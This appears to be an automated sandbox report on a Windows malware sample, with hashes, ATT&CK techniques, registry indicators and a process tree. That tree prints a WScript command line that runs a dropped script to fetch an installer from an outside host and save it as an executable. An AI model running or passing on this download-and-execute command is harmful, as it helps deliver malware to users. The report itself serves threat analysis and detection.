8a95b0c20c85aef615d5c8813ecc8fd7e426c575dc671a2ac54a5e70f3407f10

Analysis

max time kernel
100s
max time network
90s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12/06/2024, 15:24

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General

Target
a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe
Size 184KB
Sample240612-ss7ydazdpf
SHA256 8a95b0c20c85aef615d5c8813ecc8fd7e426c575dc671a2ac54a5e70f3407f10
MD5 a124b01e53e029e6970289e51f7eea32
SHA1 f0aa56cc3c888243d957c770049d998e926679fe
SHA512 75ddf3e9256197cce99b382c6a7545cf8646a44f00f24728eeaf4575621afb1905c7569ba0f39a5c3ac5b948ae3289e639fef7ad2d78aa33353253eecf597887
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3y:/7BSH8zUB+nGESaaRvoB7FJNndnz
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4344 wrote to memory of 2592	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	82
PID 4344 wrote to memory of 2592	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	82
PID 4344 wrote to memory of 2592	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	82
PID 4344 wrote to memory of 2696	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	89
PID 4344 wrote to memory of 2696	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	89
PID 4344 wrote to memory of 2696	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	89
PID 4344 wrote to memory of 2232	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	95
PID 4344 wrote to memory of 2232	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	95
PID 4344 wrote to memory of 2232	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	95
PID 4344 wrote to memory of 2984	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	96
PID 4344 wrote to memory of 2984	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	96
PID 4344 wrote to memory of 2984	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	96
PID 4344 wrote to memory of 1676	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	97
PID 4344 wrote to memory of 1676	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	97
PID 4344 wrote to memory of 1676	4344	a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe	97

C:\Users\Admin\AppData\Local\Temp\a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a124b01e53e029e6970289e51f7eea32_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4344
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf55D1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf55D1.exe
  2⤵
  PID:2592
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf55D1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf55D1.exe
  2⤵
  PID:2696
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf55D1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf55D1.exe
  2⤵
  PID:2232
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf55D1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf55D1.exe
  2⤵
  PID:2984
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf55D1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf55D1.exe
  2⤵
  PID:1676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

fuf55D1.js

Path C:\Users\Admin\AppData\Local\Temp\fuf55D1.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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